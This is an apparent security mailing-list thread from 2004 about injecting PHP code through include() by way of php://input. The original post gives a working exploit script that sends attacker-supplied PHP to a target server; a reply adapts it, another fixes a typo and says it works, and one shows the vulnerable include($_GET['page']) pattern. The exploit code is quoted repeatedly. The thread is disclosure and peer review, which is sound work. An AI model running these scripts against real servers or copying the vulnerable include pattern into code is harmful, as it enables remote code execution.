[PHP] include() bypassing filter with php://input

[Himeur Nourredine]

Informations :
°°°°°°°°°°°°°°
Website : http://www.php.net
Version : PHP 3.0.13 =>
Problem : Inlude() bypassing filter


Proof of concept:
°°°°°°°° Exploit °°°°°°°°°
<------------ cut here ---------------->
<form action="" methode="post" >
target server : <input type="text" name="server" ><br>
file : <input type="text" name="file" ><br>
exec : <input type="text" name="cmd" ><br>
<INPUT type="submit" value="send">
</form>

<?
if($cmd){
$message = "POST /".$file."php://input HTTP/1.1\r\n";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message .= "Accept-Language: fr\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Accept-Encoding: deflate\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen( $cmd )."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cache-Control: no-cache\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>
<------------ cut here ---------------->

target server = "www.exemple.com"
file = "index.php?page="
exec = "<? phpinfo(); ?>"

Explaination
°°°°°°°°°°°°°°
You can bypassing filter protection who parse http:// or ftp:// ...
"php://input" allows to put data in the function include() by sending a request with code php in POST methode.


For More details :
°°°°°°°°°°°°°°
http://fr2.php.net/manual/en/wrappers.php.php
irc.fr.worldnet.net #s-c

Nourredine Himeur

www.security-challenge.com

This vulnerability was found by Slythers but he's too shy for publish the vuln ;)

greetz : mum , daddy , tcpteam , Nyx

[Keary Suska]

What exactly does your "proof of concept" do? I tried this on my system wit=
h
PHP 4.34.x--which, by the way, is when support for php://input began, *not*
3.0.13--and nothing happened whatsoever. Where's the proof?

on 5/27/04 3:07 AM, lostnoobs@security-challenge.com purportedly said:

>=20
>=20
> Informations :=20
> =B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=20
> Website : http://www.php.net
> Version : PHP 3.0.13 =3D>
> Problem : Inlude() bypassing filter
>=20
>=20
> Proof of concept:
> =B0=B0=B0=B0=B0=B0=B0=B0 Exploit =B0=B0=B0=B0=B0=B0=B0=B0=B0
> <------------ cut here ---------------->
> <form action=3D"" methode=3D"post" >
> target server : <input type=3D"text" name=3D"server" ><br>
> file : <input type=3D"text" name=3D"file" ><br>
> exec : <input type=3D"text" name=3D"cmd" ><br>
> <INPUT type=3D"submit" value=3D"send">
> </form>
>=20
> <?
> if($cmd){
> $message =3D "POST /".$file."php://input HTTP/1.1\r\n";
> $message .=3D "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
> application/x-shockwave-flash, */*\r\n";
> $message .=3D "Accept-Language: fr\r\n";
> $message .=3D "Content-Type: application/x-www-form-urlencoded\r\n";
> $message .=3D "Accept-Encoding: deflate\r\n";
> $message .=3D "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.=
1;
> MyIE2)\r\n";
> $message .=3D "Host: ".$server."\r\n";
> $message .=3D "Content-length: ".strlen( $cmd )."\r\n";
> $message .=3D "Connection: Keep-Alive\r\n";
> $message .=3D "Cache-Control: no-cache\r\n";
> $message .=3D "\r\n";
> $message .=3D $cmd."\r\n";
> $fd =3D fsockopen( $server, 80 );
> fputs($fd,$message);
> while(!feof($fd)) {
> echo fgets($fd,1280);
> }
> fclose($fd);
> }
> ?>
> <------------ cut here ---------------->
>=20
> target server =3D "www.exemple.com"
> file =3D "index.php?page=3D"
> exec =3D "<? phpinfo(); ?>"
>=20
> Explaination
> =B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0
> You can bypassing filter protection who parse http:// or ftp:// ...
> "php://input" allows to put data in the function include() by sending a
> request with code php in POST methode.
>=20
>=20
> For More details :
> =B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=20
> http://fr2.php.net/manual/en/wrappers.php.php
> irc.fr.worldnet.net #s-c
>=20
> Nourredine Himeur
>=20
> www.security-challenge.com
>=20
> This vulnerability was found by Slythers but he's too shy for publish the=
vuln
> ;)
>=20
> greetz : mum , daddy , tcpteam , Nyx
>=20
>=20
>=20


Keary Suska
Esoteritech, Inc.
"Leveraging Open Source for a better Internet"

[clez]

Hi there!

i use php 4.3.5 and tried this "proof of concept". i assumed, that the
form attribute "methode" is a typing mistake and adapted the exploit to
get it working under a php 4.3.x default configuration (it's kinda
paradox to use autoglobals in an exploit that aims to secure other
products).

but even this adapted version (see below) does not show anything on
execution.

this exploit seems to rely on a exploitable web service, that gets paths
to include files from a get variable named "page".

so this seems to me like a (fixed/changed) bug at the single service
"www.exemple.com" (not to be mixed up with www.example.com from rfc
2606) and not a general php issue.

############ snippet start ############
<form method="post" >
target server : <input type="text" name="server"/><br/>
file : <input type="text" name="file" /><br/>
exec : <input type="text" name="cmd" /><br/>
<input type="submit" value="send" />
</form>
<?php
if(is_array($_POST) && isset($_POST['cmd']) && isset($_POST['server'])
&& isset($_POST['file'])){
$message = "POST /".$_POST['file']."php://input HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Accept-Encoding: deflate\r\n";
$message .= "Host: ".$_POST['server']."\r\n";
$message .= "Content-length: ".strlen($_POST['cmd'])."\r\n";
$message .= "\r\n";
$message .= urlencode($_POST['cmd'])."\r\n";
$fd = fsockopen($_POST['server'],80);
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>
############ snippet end ############


On Fri, 2004-05-28 at 06:51, Keary Suska wrote:
> What exactly does your "proof of concept" do? I tried this on my system with
> PHP 4.34.x--which, by the way, is when support for php://input began, *not*
> 3.0.13--and nothing happened whatsoever. Where's the proof?
>
> on 5/27/04 3:07 AM, lostnoobs@security-challenge.com purportedly said:
>
> >
> >
> > Informations :
> > °°°°°°°°°°°°°°
> > Website : http://www.php.net
> > Version : PHP 3.0.13 =>
> > Problem : Inlude() bypassing filter
> >
> >
> > Proof of concept:
> > °°°°°°°° Exploit °°°°°°°°°
> > <------------ cut here ---------------->
> > <form action="" methode="post" >
> > target server : <input type="text" name="server" ><br>
> > file : <input type="text" name="file" ><br>
> > exec : <input type="text" name="cmd" ><br>
> > <INPUT type="submit" value="send">
> > </form>
> >
> > <?
> > if($cmd){
> > $message = "POST /".$file."php://input HTTP/1.1\r\n";
> > $message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
> > application/x-shockwave-flash, */*\r\n";
> > $message .= "Accept-Language: fr\r\n";
> > $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
> > $message .= "Accept-Encoding: deflate\r\n";
> > $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
> > MyIE2)\r\n";
> > $message .= "Host: ".$server."\r\n";
> > $message .= "Content-length: ".strlen( $cmd )."\r\n";
> > $message .= "Connection: Keep-Alive\r\n";
> > $message .= "Cache-Control: no-cache\r\n";
> > $message .= "\r\n";
> > $message .= $cmd."\r\n";
> > $fd = fsockopen( $server, 80 );
> > fputs($fd,$message);
> > while(!feof($fd)) {
> > echo fgets($fd,1280);
> > }
> > fclose($fd);
> > }
> > ?>
> > <------------ cut here ---------------->
> >
> > target server = "www.exemple.com"
> > file = "index.php?page="
> > exec = "<? phpinfo(); ?>"
> >
> > Explaination
> > °°°°°°°°°°°°°°
> > You can bypassing filter protection who parse http:// or ftp:// ...
> > "php://input" allows to put data in the function include() by sending a
> > request with code php in POST methode.
> >
> >
> > For More details :
> > °°°°°°°°°°°°°°
> > http://fr2.php.net/manual/en/wrappers.php.php
> > irc.fr.worldnet.net #s-c
> >
> > Nourredine Himeur
> >
> > www.security-challenge.com
> >
> > This vulnerability was found by Slythers but he's too shy for publish the vuln
> > ;)
> >
> > greetz : mum , daddy , tcpteam , Nyx
> >
> >
> >
>
>
> Keary Suska
> Esoteritech, Inc.
> "Leveraging Open Source for a better Internet"
>

[Ali Campbell]

I tested this - AFAI can tell it is exploitable against and only against
some page along these lines, as you suggest:

<HTML><HEAD></HEAD><BODY>
<!-- header stuff goes here -->
<?php
include ($_GET['page']);
?>
<!-- footer stuff goes here -->
</BODY></HTML>

.... and if you code things in this remarkable way, you deserve to get
'sploited silly, vuln or no vuln. Why not go the whole hog and add the line

eval ($_GET['go_ahead_and_sploit_my_trousers_off']);

while you're at it ?

Ali



clez wrote:

> Hi there!
>
> i use php 4.3.5 and tried this "proof of concept". i assumed, that the
> form attribute "methode" is a typing mistake and adapted the exploit to
> get it working under a php 4.3.x default configuration (it's kinda
> paradox to use autoglobals in an exploit that aims to secure other
> products).
>
> but even this adapted version (see below) does not show anything on
> execution.
>
> this exploit seems to rely on a exploitable web service, that gets paths
> to include files from a get variable named "page".
>
> so this seems to me like a (fixed/changed) bug at the single service
> "www.exemple.com" (not to be mixed up with www.example.com from rfc
> 2606) and not a general php issue.

[bugtraq subscriber]

clez wrote:
> Hi there!
>=20
> i use php 4.3.5 and tried this "proof of concept". i assumed, that the
> form attribute "methode" is a typing mistake and adapted the exploit to=

> get it working under a php 4.3.x default configuration (it's kinda
> paradox to use autoglobals in an exploit that aims to secure other
> products).
>=20
> but even this adapted version (see below) does not show anything on
> execution.

Hi all,

There's another typo in there.

$message =3D "POST /".$_POST['file']."php://input HTTP/1.1\r\n";

should be

$message =3D "POST /".$_POST['file']." php://input HTTP/1.1\r\n";

On my LAMP system the script performs as claimed.

:m)

>=20
> this exploit seems to rely on a exploitable web service, that gets path=
s
> to include files from a get variable named "page".
>=20
> so this seems to me like a (fixed/changed) bug at the single service
> "www.exemple.com" (not to be mixed up with www.example.com from rfc
> 2606) and not a general php issue.
>=20
> ############ snippet start ############
> <form method=3D"post" >
> target server : <input type=3D"text" name=3D"server"/><br/>
> file : <input type=3D"text" name=3D"file" /><br/>
> exec : <input type=3D"text" name=3D"cmd" /><br/>
> <input type=3D"submit" value=3D"send" />
> </form>
> <?php
> if(is_array($_POST) && isset($_POST['cmd']) && isset($_POST['server'])
> && isset($_POST['file'])){
> $message =3D "POST /".$_POST['file']."php://input HTTP/1.1\r\n";
> $message .=3D "Accept: */*\r\n";
> $message .=3D "Content-Type: application/x-www-form-urlencoded\r\n"=
;
> $message .=3D "Accept-Encoding: deflate\r\n";
> $message .=3D "Host: ".$_POST['server']."\r\n";
> $message .=3D "Content-length: ".strlen($_POST['cmd'])."\r\n";
> $message .=3D "\r\n";
> $message .=3D urlencode($_POST['cmd'])."\r\n";
> $fd =3D fsockopen($_POST['server'],80);
> fputs($fd,$message);
> while(!feof($fd)) {
> echo fgets($fd,1280);
> }
> fclose($fd);
> }
> ?>
> ############ snippet end ############=20
>=20
>=20
> On Fri, 2004-05-28 at 06:51, Keary Suska wrote:
>=20
>>What exactly does your "proof of concept" do? I tried this on my system=
with
>>PHP 4.34.x--which, by the way, is when support for php://input began, *=
not*
>>3.0.13--and nothing happened whatsoever. Where's the proof?
>>
>>on 5/27/04 3:07 AM, lostnoobs@security-challenge.com purportedly said:
>>
>>
>>>
>>>Informations :=20
>>>=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=20
>>>Website : http://www.php.net
>>>Version : PHP 3.0.13 =3D>
>>>Problem : Inlude() bypassing filter
>>>
>>>
>>>Proof of concept:
>>>=B0=B0=B0=B0=B0=B0=B0=B0 Exploit =B0=B0=B0=B0=B0=B0=B0=B0=B0
>>><------------ cut here ---------------->
>>><form action=3D"" methode=3D"post" >
>>>target server : <input type=3D"text" name=3D"server" ><br>
>>>file : <input type=3D"text" name=3D"file" ><br>
>>>exec : <input type=3D"text" name=3D"cmd" ><br>
>>><INPUT type=3D"submit" value=3D"send">
>>></form>
>>>
>>><?
>>>if($cmd){
>>>$message =3D "POST /".$file."php://input HTTP/1.1\r\n";
>>>$message .=3D "Accept: image/gif, image/x-xbitmap, image/jpeg, image/p=
jpeg,
>>>application/x-shockwave-flash, */*\r\n";
>>>$message .=3D "Accept-Language: fr\r\n";
>>>$message .=3D "Content-Type: application/x-www-form-urlencoded\r\n";
>>>$message .=3D "Accept-Encoding: deflate\r\n";
>>>$message .=3D "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows =
NT 5.1;
>>>MyIE2)\r\n";
>>>$message .=3D "Host: ".$server."\r\n";
>>>$message .=3D "Content-length: ".strlen( $cmd )."\r\n";
>>>$message .=3D "Connection: Keep-Alive\r\n";
>>>$message .=3D "Cache-Control: no-cache\r\n";
>>>$message .=3D "\r\n";
>>>$message .=3D $cmd."\r\n";
>>>$fd =3D fsockopen( $server, 80 );
>>>fputs($fd,$message);
>>>while(!feof($fd)) {
>>>echo fgets($fd,1280);
>>>}
>>>fclose($fd);
>>>}
>>>?>
>>><------------ cut here ---------------->
>>>
>>>target server =3D "www.exemple.com"
>>>file =3D "index.php?page=3D"
>>>exec =3D "<? phpinfo(); ?>"
>>>
>>>Explaination
>>>=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0
>>>You can bypassing filter protection who parse http:// or ftp:// ...
>>>"php://input" allows to put data in the function include() by sending =
a
>>>request with code php in POST methode.
>>>
>>>
>>>For More details :
>>>=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=B0=20
>>>http://fr2.php.net/manual/en/wrappers.php.php
>>>irc.fr.worldnet.net #s-c
>>>
>>>Nourredine Himeur
>>>
>>>www.security-challenge.com
>>>
>>>This vulnerability was found by Slythers but he's too shy for publish =
the vuln
>>>;)
>>>
>>>greetz : mum , daddy , tcpteam , Nyx
>>>
>>>
>>>
>>
>>
>>Keary Suska
>>Esoteritech, Inc.
>>"Leveraging Open Source for a better Internet"
>>
>=20
>=20
>=20
>=20